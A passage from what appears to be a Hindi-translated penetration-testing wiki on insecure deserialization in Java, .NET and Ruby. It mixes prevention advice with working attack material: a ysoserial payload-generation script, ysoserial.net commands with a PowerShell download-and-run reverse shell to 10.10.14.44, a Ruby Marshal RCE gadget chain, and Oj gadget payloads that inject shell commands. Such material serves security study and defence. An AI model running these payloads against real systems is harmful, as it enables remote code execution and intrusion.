नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप इस वेबपेज का उपयोग कर सकते हैं।
Windows और Linux के लिए सभी संभावित कोड निष्पादन payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
आप इसका उपयोग कर सकते हैं https://github.com/pwntester/SerialKillerBypassGadgetCollection और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए। इस टूल के बारे में अधिक जानकारी टॉक की स्लाइड्स में है जहाँ टूल प्रस्तुत किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec का उपयोग विभिन्न Json और Yml सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।
प्रोजेक्ट को संकलित करने के लिए मुझे pom.xml
में ये dependencies जोड़नी थीं:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Maven स्थापित करें, और परियोजना को संकलित करें:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
इस Java JSON पुस्तकालय के बारे में अधिक पढ़ें: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- यदि आप कुछ ysoserial payloads का परीक्षण करना चाहते हैं, तो आप इस वेब ऐप को चला सकते हैं: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
- HTTP requests: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
- RMI (Remote Method Invocation): Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
- RMI over HTTP: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
- JMX (Java Management Extensions): JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
- Custom Protocols: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी हमले के उदाहरणों में प्रदर्शित किया जाएगा।
Prevention
Transient objects
एक वर्ग जो Serializable
को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को transient
के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
एक क्लास के Serialization से बचें जिसे Serializable को लागू करने की आवश्यकता है
उन परिदृश्यों में जहां कुछ objects को क्लास हायरार्की के कारण Serializable
इंटरफेस को लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक final
readObject()
मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Java में Deserialization सुरक्षा बढ़ाना
java.io.ObjectInputStream
को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
- Deserialization कोड आपके नियंत्रण में है।
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
resolveClass()
विधि को ओवरराइड करें ताकि deserialization केवल अनुमत कक्षाओं तक सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल Bicycle
कक्षा तक सीमित करता है:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
सुरक्षा सुधार के लिए एक जावा एजेंट का उपयोग तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से हानिकारक कक्षाओं की ब्लैकलिस्टिंग के लिए लागू होती है, एक JVM पैरामीटर का उपयोग करते हुए:
-javaagent:name-of-agent.jar
यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
एक उदाहरण देखें rO0 by Contrast Security
Serialization Filters को लागू करना: Java 9 ने ObjectInputFilter
इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized वस्तुओं को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार: पुस्तकालय जैसे NotSoSerial, jdeserialize, और Kryo जावा डेसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डेसिरियलाइजेशन से पहले सीरियलाइज्ड ऑब्जेक्ट्स का विश्लेषण करना, और कस्टम सीरियलाइजेशन रणनीतियों को लागू करना।
- NotSoSerial डेसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
- jdeserialize बिना डेसिरियलाइज किए सीरियलाइज्ड जावा ऑब्जेक्ट्स का विश्लेषण करने की अनुमति देता है, जिससे संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद मिलती है।
- Kryo एक वैकल्पिक सीरियलाइजेशन ढांचा है जो गति और दक्षता पर जोर देता है, जो कॉन्फ़िगर करने योग्य सीरियलाइजेशन रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
संदर्भ
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- डेसिरियलाइजेशन और ysoserial वार्ता: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspector के बारे में वार्ता: https://www.youtube.com/watch?v=wPbW6zQ52w8 और स्लाइड: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec पेपर: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- जावा और .Net JSON डेसिरियलाइजेशन पेपर: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, वार्ता: https://www.youtube.com/watch?v=oUAeWhW5b8c और स्लाइड: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- डेसिरियलाइजेशन CVEs: https://paper.seebug.org/123/
JNDI इंजेक्शन और log4Shell
जानें कि JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - जावा संदेश सेवा
जावा संदेश सेवा (JMS) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत विकिपीडिया)।
उत्पाद
इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
शोषण
तो, मूल रूप से, JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त विशेषाधिकार हैं (आमतौर पर आपको मान्य क्रेडेंशियल्स की आवश्यकता होगी) तो आप दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर सकते हैं जो उपभोक्ता/सदस्य द्वारा डेसिरियलाइज किए जाएंगे।
इसका मतलब है कि इस शोषण में सभी क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे।
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डेसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
उपकरण JMET को इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर रहा है। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर एप्लिकेशन के अंदर हो।
संदर्भ
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET वार्ता: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
. Net के संदर्भ में, डेसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण ऑब्जेक्ट के डेसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
फिंगरप्रिंट
व्हाइटबॉक्स
स्रोत कोड की जांच की जानी चाहिए कि:
TypeNameHandling
JavaScriptTypeResolver
ध्यान उन सीरियलाइजर्स पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार निर्धारित करने की अनुमति देते हैं।
ब्लैकबॉक्स
खोज को बेस64 एन्कोडेड स्ट्रिंग AAEAAAD///// या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डेसिरियलाइजेशन के अधीन हो, जिससे डेसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त हो सके। इसमें, लेकिन सीमित नहीं है, JSON या XML संरचनाएँ शामिल हो सकती हैं जिनमें TypeObject
या $type
है।
ysoserial.net
इस मामले में आप उपकरण ysoserial.net का उपयोग कर सकते हैं ताकि डेसिरियलाइजेशन शोषण बनाए जा सकें। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको उपकरण को संकलित करना चाहिए, उदाहरण के लिए, Visual Studio का उपयोग करके।
यदि आप जानना चाहते हैं कि ysoserial.net अपना शोषण कैसे बनाता है तो आप इस पृष्ठ को देख सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है।
ysoserial.net के मुख्य विकल्प हैं: --gadget
, --formatter
, --output
और --plugin
।
--gadget
का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका डेसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए दुरुपयोग किया जाएगा)।--formatter
, शोषण को सीरियलाइज करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डेसिरियलाइज किया जा सके और इसे सीरियलाइज करने के लिए उसी का उपयोग करें)--output
का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को कच्चे या बेस64 एन्कोडेड में चाहते हैं। ध्यान दें कि ysoserial.net लोड को UTF-16LE (जो विंडोज पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) का उपयोग करके एन्कोड करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से एन्कोड करते हैं तो आपको कुछ एन्कोडिंग संगतता समस्याएँ हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।--plugin
ysoserial.net विशिष्ट ढांचों के लिए शोषण बनाने के लिए प्लगइन्स का समर्थन करता है जैसे ViewState
अधिक ysoserial.net पैरामीटर
--minify
एक छोटा लोड प्रदान करेगा (यदि संभव हो)--raf -f Json.Net -c "anything"
यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर के साथ उपयोग किए जा सकते हैं (Json.Net
इस मामले में)--sf xml
आप एक गैजेट (-g
) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा
ysoserial उदाहरण शोषण बनाने के लिए:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net में एक बहुत दिलचस्प पैरामीटर है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: --test
यदि आप इस पैरामीटर को इंगित करते हैं, तो ysoserial.net स्थानीय रूप से एक्सप्लॉइट को परीक्षण करेगा, ताकि आप यह जांच सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।
यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।
इसलिए --test
पैरामीटर हमें यह समझने की अनुमति देता है कि कौन से कोड के टुकड़े deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो ysoserial.net बना सकता है।
ViewState
कैसे .Net के __ViewState पैरामीटर का शोषण करने की कोशिश करें को देखें ताकि मनमाने कोड को निष्पादित किया जा सके। यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं, तो कोड निष्पादित करने के लिए यह पोस्ट पढ़ें।
Prevention
.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:
- डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें। जब संभव हो,
DataContractSerializer
याXmlSerializer
का उपयोग करें। JSON.Net
के लिए,TypeNameHandling
कोNone
पर सेट करें:TypeNameHandling = TypeNameHandling.None
JavaScriptSerializer
का उपयोगJavaScriptTypeResolver
के साथ करने से बचें।- उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे
System.IO.FileInfo
, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना बढ़ जाती है। - जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें, जैसे
System.ComponentModel.DataAnnotations.ValidationException
जिसमें इसकाValue
गुण है, जिसका शोषण किया जा सकता है। - प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे
DataContractSerializer
याXmlSerializer
भी संवेदनशील हो जाएं। BinaryFormatter
औरJSON.Net
के लिए एक कस्टमSerializationBinder
का उपयोग करके श्वेत सूची नियंत्रण लागू करें।- .Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
- संभावित जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में
System.Windows.Data.ObjectDataProvider
, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
References
- Java और .Net JSON deserialization पेपर: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, टॉक: https://www.youtube.com/watch?v=oUAeWhW5b8c और स्लाइड: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby में, serialization marshal पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे dump के रूप में जाना जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, load, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, Ruby HMAC (Hash-Based Message Authentication Code) का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X सामान्य deserialization से RCE गैजेट श्रृंखला (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
अन्य RCE श्रृंखला जो Ruby On Rails का शोषण करती है: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() विधि
जैसा कि इस सुरक्षा रिपोर्ट में समझाया गया है, यदि किसी उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की .send()
विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ आमंत्रित करने की अनुमति देती है।
उदाहरण के लिए, eval को कॉल करना और फिर दूसरे पैरामीटर के रूप में ruby कोड देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
<Object>.send('eval', '<user input with Ruby code>') == RCE
इसके अलावा, यदि केवल एक पैरामीटर .send()
का एक हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे आर्गुमेंट्स की आवश्यकता नहीं है या जिनके आर्गुमेंट्स के डिफ़ॉल्ट मान हैं।
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को गिनना संभव है ताकि कुछ दिलचस्प मेथड्स मिल सकें जो उन आवश्यकताओं को पूरा करते हैं।
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
जांचें कि कैसे एक Ruby क्लास को प्रदूषित करना और इसका दुरुपयोग करना संभव हो सकता है।
Ruby _json pollution
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें _json
नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में _json
नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर _json
पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
अधिक जानकारी के लिए Ruby _json pollution पृष्ठ पर जांचें।
Other libraries
यह तकनीक इस ब्लॉग पोस्ट से ली गई थी।
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
Library | Input data | Kick-off method inside class |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (class needs to be put into hash(map) as key) |
Ox | XML | hash (class needs to be put into hash(map) as key) |
Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने hash
फ़ंक्शन के अंदर to_s
को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ डेसिरियलाइजेशन कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने के लिए एक आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
यह वास्तव में एक deserialization vuln नहीं है, लेकिन bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है जिससे एक rails एप्लिकेशन से RCE प्राप्त किया जा सकता है जिसमें एक मनमाना फ़ाइल लेखन होता है (पूर्ण original post in here देखें)।
नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में Bootsnap caching का दुरुपयोग करके एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए विस्तृत हैं:
- Identify the Vulnerability and Environment
